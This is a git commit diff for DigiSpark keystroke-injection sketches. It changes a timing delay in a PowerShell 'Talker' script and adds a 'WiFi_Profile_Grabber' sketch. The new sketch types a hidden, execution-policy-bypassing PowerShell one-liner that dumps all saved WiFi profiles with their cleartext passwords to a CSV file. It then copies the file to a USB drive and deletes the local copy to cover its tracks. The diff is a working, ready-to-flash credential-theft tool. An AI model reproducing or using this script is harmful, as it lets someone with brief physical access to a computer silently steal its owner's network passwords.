Fixed Talker and added Wifi grabber
Talker : Added longer delay to wait for powershell to open WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\
This commit is contained in:
parent
c44c87cb96
commit
592505e2b2
|
@ -10,7 +10,7 @@ void loop() {
|
||||||
DigiKeyboard.delay(100);
|
DigiKeyboard.delay(100);
|
||||||
DigiKeyboard.print("powershell");
|
DigiKeyboard.print("powershell");
|
||||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
DigiKeyboard.delay(200);
|
DigiKeyboard.delay(3000);
|
||||||
DigiKeyboard.print("Add-Type -AssemblyName System.speech");
|
DigiKeyboard.print("Add-Type -AssemblyName System.speech");
|
||||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
DigiKeyboard.delay(100);
|
DigiKeyboard.delay(100);
|
||||||
|
|
|
@ -0,0 +1,32 @@
|
||||||
|
//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly.
|
||||||
|
//Credits to p0wc0w.
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
void setup() {
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(0);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print("cmd");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" "));
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(3000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
|
DigiKeyboard.delay(200);
|
||||||
|
DigiKeyboard.print("cmd");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print(F("copy temp.csv d:\\"));
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print(F("del temp.csv"));
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print("exit");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
for(;;){ /*empty*/ }
|
||||||
|
}
|
Loading…
Reference in New Issue